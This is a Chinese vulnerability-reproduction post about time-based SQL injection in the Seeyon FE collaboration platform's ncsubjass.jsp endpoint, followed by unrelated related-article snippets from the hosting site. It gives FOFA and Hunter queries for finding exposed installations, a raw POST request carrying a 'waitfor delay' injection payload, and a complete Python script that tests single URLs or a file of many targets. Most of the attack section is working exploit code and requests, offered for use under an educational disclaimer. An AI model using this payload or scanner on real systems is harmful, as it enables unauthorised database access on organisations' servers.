【漏洞復現】致遠互聯FE協作辦公平臺——SQL注入

聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。

文章目錄

  • 漏洞描述
  • 漏洞復現
  • 測試工具


漏洞描述

致遠互聯FE協作辦公平臺是一個專注于協同管理軟件領域的數智化運營平臺及云服務提供商。其ncsubjass.jsp接口處存在SQL注入漏洞,惡意攻擊者可能會向數據庫發送構造的惡意SQL查詢語句。

漏洞復現

1)信息收集
fofa:body="li_plugins_download"
hunter:web.body="li_plugins_download"
在這里插入圖片描述
哲學家們只是用不同的方式解釋世界,而問題在于改變世界。
在這里插入圖片描述
2)構造數據包

POST /fenc/ncsubjass.j%73p HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 36subjcode=-1';waitfor delay '0:0:5'--

在這里插入圖片描述
響應包延遲了5秒,驗證存在sql注入。

測試工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import http.client  # 導入處理HTTP請求的模塊
import ssl          # 導入SSL支持模塊
import argparse     # 導入命令行參數解析模塊
from urllib.parse import urlparse  # 導入URL解析模塊
import time         # 導入時間處理模塊# 定義控制臺輸出顏色代碼
RED = '\033[91m'   # 紅色
RESET = '\033[0m'  # 重置顏色def check_vulnerability(url):"""檢查給定URL是否存在特定的SQL注入漏洞。"""try:# 解析URL,獲取域名和協議parsed_url = urlparse(url)# 設置請求的路徑和數據體path = "/fenc/ncsubjass.j%73p"  # 要請求的路徑,其中j%73p為編碼后的".js"# 構造POST請求的數據體,包含潛在的SQL注入payloadbody = "subjcode=-1';waitfor delay '0:0:3'--"headers = {"Content-Type": "application/x-www-form-urlencoded",  # 設置Content-Type頭"User-Agent": "Mozilla/5.0"  # 設置User-Agent頭}# 根據URL的協議創建連接對象,如果是HTTPS則忽略證書驗證conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context()) if parsed_url.scheme == "https" else http.client.HTTPConnection(parsed_url.netloc)# 記錄開始時間start_time = time.time()# 發送POST請求conn.request("POST", path, body=body, headers=headers)# 獲取服務器響應response = conn.getresponse()# 計算請求耗時elapsed_time = time.time() - start_time# 如果響應時間在3到5秒之間,可能表明存在SQL注入漏洞(因為waitfor delay '0:0:3'會延遲響應)if 3 <= elapsed_time <= 5:print(f"{RED}URL [{url}] 可能存在致遠互聯FE協作辦公平臺 ncsubjass SQL注入漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except Exception as e:# 如果請求失敗,打印錯誤信息print(f"URL [{url}] 請求失敗: {e}")def main():"""主函數,解析命令行參數并調用漏洞檢查函數。"""# 創建命令行參數解析器parser = argparse.ArgumentParser(description='檢測目標地址是否存在致遠互聯FE協作辦公平臺 ncsubjass SQL注入漏洞')# 添加命令行參數選項parser.add_argument('-u', '--url', help='指定目標地址')parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')# 解析命令行參數args = parser.parse_args()# 如果指定了單個URL,進行漏洞檢查if args.url:# 確保URL格式正確if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)# 如果指定了包含多個URL的文件,逐個讀取并進行漏洞檢查elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()  # 讀取所有行并去除換行符for url in urls:# 確保URL格式正確if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)# 當作為主程序運行時,調用main函數
if __name__ == '__main__':main()

運行截圖
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/37337.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/37337.shtml
英文地址,請注明出處:http://en.pswp.cn/web/37337.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

關于內存和外存文件不同字符集下占用空間大小問題

關于內存和外存不同字符集下文件占用空間大小問題 存儲&#xff08;外存&#xff09;的文件中的字符&#xff1a; ASCII&#xff1a;每個字符占用1個字節&#xff0c;用來存儲英文字符和常用標點符號。ISO-8859-1&#xff1a;每個字符占用1個字節&#xff0c;向下兼容ASCII。G…

DS18B20單總線數字溫度傳感器國產替代MY18E20 MY1820 MY18B20Z MY18B20L(一)

前言 DS18B20是全球第一個單總線數字溫度傳感器&#xff0c;推出時間已經超過30年&#xff0c;最早由美國達拉斯半導體公司推出&#xff0c;2001年1月&#xff0c;美信以25億美元收購達拉斯半導體&#xff08;Dallas Semiconductor&#xff09;&#xff0c;而美信在2021年8月被…

DM達夢數據庫存儲過程

&#x1f49d;&#x1f49d;&#x1f49d;首先&#xff0c;歡迎各位來到我的博客&#xff0c;很高興能夠在這里和您見面&#xff01;希望您在這里不僅可以有所收獲&#xff0c;同時也能感受到一份輕松歡樂的氛圍&#xff0c;祝你生活愉快&#xff01; &#x1f49d;&#x1f49…

RDMA通信2:RDMA基本元素和組成 通信過程元素關系解析 視頻教程

哈哈哈&#xff0c;今天我們把下面這張圖理解了&#xff0c;我們的任務就完成了&#xff01; 視頻教程在這&#xff1a;1.2 RDMA基本元素和組成 通信過程元素關系解析_嗶哩嗶哩_bilibili 一、WQ和WQE 工作隊列元素(work queue element,WQE)&#xff1a;是軟件下發給硬件的任務…

Apache Ranger 2.4.0 集成Hive 3.x(Kerbos)

一、解壓tar包 tar zxvf ranger-2.4.0-hive-plugin.tar.gz 二、修改install.propertis POLICY_MGR_URLhttp://localhost:6080REPOSITORY_NAMEhive_repoCOMPONENT_INSTALL_DIR_NAME/BigData/run/hiveCUSTOM_USERhadoop 三、進行enable [roottv3-hadoop-01 ranger-2.4.0-hive…

什么是TOGAF架構框架的ADM方法?

ADM是架構開發方法&#xff08; Architecture Development Method&#xff09;&#xff0c;為開發企業架構所要執行的各個步驟以及它們質檢的關系進行詳細的定義&#xff0c;它是TOGAF規范中最為核心的內容。 ADM的具體步驟&#xff1a; 預備階段&#xff08;Preliminary Phas…

求職刷題力扣 DAY38動態規劃 part04

1. 1049. 最后一塊石頭的重量 II 有一堆石頭&#xff0c;用整數數組 stones 表示。其中 stones[i] 表示第 i 塊石頭的重量。 每一回合&#xff0c;從中選出任意兩塊石頭&#xff0c;然后將它們一起粉碎。假設石頭的重量分別為 x 和 y&#xff0c;且 x < y。那么粉碎的可能…

STM32第十三課:DMA多通道采集光照煙霧

文章目錄 需求一、DMA&#xff08;直接存儲器存取&#xff09;二、實現流程1.時鐘使能2.設置外設寄存器地址3.設置存儲器地址4.設置要傳輸的數據量5.設置通道優先級6.設置傳輸方向7.使通道和ADC轉換 三、數據處理四、需求實現總結 需求 通過DMA實現光照強度和煙霧濃度的多通道…

【SkiaSharp繪圖13】SKCanvas方法詳解(二)填充顏色、封裝對象、高性能繪制、點(集)(多段)線、圓角矩形、Surface、沿路徑繪制文字

文章目錄 SKCanvas方法DrawColor 填充顏色DrawDrawable 繪制封裝對象DrawImage 高性能繪制圖像SKBitmap與SKImage對比DrawPicture 繪制圖像SKPicture DrawPoint / DrawPoints 繪制點DrawRoundRect/DrawRoundRectDifference繪制圓角矩形DrawSurface 繪制SurfaceDrawTextOnPath沿…

力扣2055.蠟燭之間的盤子

力扣2055.蠟燭之間的盤子 預處理每個元素左右最近的蠟燭下標 同時求前綴和遍歷每個詢問找到左右端點對應的內部的最近蠟燭(最大區間) class Solution {public:vector<int> platesBetweenCandles(string s, vector<vector<int>>& queries) {vector<…

List接口, ArrayList Vector LinkedList

Collection接口的子接口 子類Vector&#xff0c;ArrayList&#xff0c;LinkedList 1.元素的添加順序和取出順序一致&#xff0c;且可重復 2.每個元素都有其對應的順序索引 方法 在index 1 的位置插入一個對象&#xff0c;list.add(1,list2)獲取指定index位置的元素&#…

sheng的學習筆記-AI-聚類(Clustering)

ai目錄 sheng的學習筆記-AI目錄-CSDN博客 基礎知識 什么是聚類 在“無監督學習”(unsupervised learning)中&#xff0c;訓練樣本的標記信息是未知的&#xff0c;目標是通過對無標記訓練樣本的學習來揭示數據的內在性質及規律&#xff0c;為進一步的數據分析提供基礎。此類學…

Android跨進程通信,binder傳輸數據過大導致客戶端APP,Crash,異常捕獲,監聽異常的數值臨界值,提前Hook攔截。

文章目錄 Android跨進程通信&#xff0c;binder傳輸數據過大導致Crash&#xff0c;異常捕獲&#xff0c;監聽異常的數值臨界值&#xff0c;提前Hook攔截。1.binder在做跨進程傳輸時&#xff0c;最大可以攜帶多少數據1.1有時候這個1m的崩潰系統捕獲不到異常&#xff0c; 2.監測異…

志愿填報指南:為什么我強烈建議你報考計算機專業

首先恭喜2024屆高考的同學們&#xff0c;你們已經通過了高考的考驗&#xff0c;即將進入人生的新階段——大學。 現在正是高考完填報志愿的時刻&#xff0c;Left聽到身邊朋友提到報考志愿的諸多問題&#xff1a; 志愿填報怎么填&#xff1f;我要報考什么專業&#xff1f;這個…

[Cloud Networking] OSPF

OSPF 開放式最短路徑優先&#xff08;Open Shortest Path First&#xff09;是一種動態路由協議&#xff0c;它屬于鏈路狀態路由協議&#xff0c;具有路由變化收斂速度快、無路由環路、支持變長子網掩碼和匯總、層次區域劃分等優點。 1 OSPF Area 為了適應大型網絡&#xff0…

可編程定時計數器8253/8254 - 8253入門

時鐘-給設備打拍子 概述 在計算機系統中&#xff0c;為了使所有設備之間的通信井然有序&#xff0c;各通信設備間必須有統一的節奏&#xff0c;不能各干各的&#xff0c;這個節奏就被稱為定時或時鐘 時鐘并不是計算機處理速度的衡量&#xff0c;而是一種使設備間相互配合而避…

【2024-06-21】網易互娛秋招實習筆試三道編程題解

恭喜發現寶藏!搜索公眾號【TechGuide】回復公司名,解鎖更多新鮮好文和互聯網大廠的筆經面經。 作者@TechGuide【全網同名】 訂閱專欄: 【專享版】2024最新大廠筆試真題解析,錯過必后悔的寶藏資源! 第一題:陰陽師斗技 題目描述 小蓋正在參加陰陽師的斗技。已知斗技的規…

Linux 磁盤掛載與分區

Linux 磁盤掛載與分區 vda1: 其中vd表示虛擬磁盤&#xff0c;a表示第一塊磁盤&#xff0c;b表示第二塊磁盤&#xff0c;1表示第一塊磁盤的第一分區&#xff08;顯然兩塊磁盤都只有一個分區&#xff09;圖中可以看到&#xff0c;vda1磁盤只有一個分區&#xff0c;且全部掛載到根…

vue3使用vant4的列表vant-list點擊進入詳情自動滾動到對應位置,踩坑日記(一天半的踩坑經歷)

1.路由添加keepAlive <!-- Vue3緩存組件&#xff0c;寫法和Vue2不一樣--><router-view v-slot"{ Component }"><keep-alive><component :is"Component" v-if"$route.meta.keepAlive"/></keep-alive><component…

如何在MySQL中按字符串中的數字排序

在管理數據庫時&#xff0c;我們經常遇到需要按嵌入在字符串中的數字進行排序的情況。這在實際應用中尤為常見&#xff0c;比如文件名、代碼版本號等字段中通常包含數字&#xff0c;而這些數字往往是排序的關鍵。本文將詳細介紹如何在MySQL中利用正則表達式提取字符串中的數字并…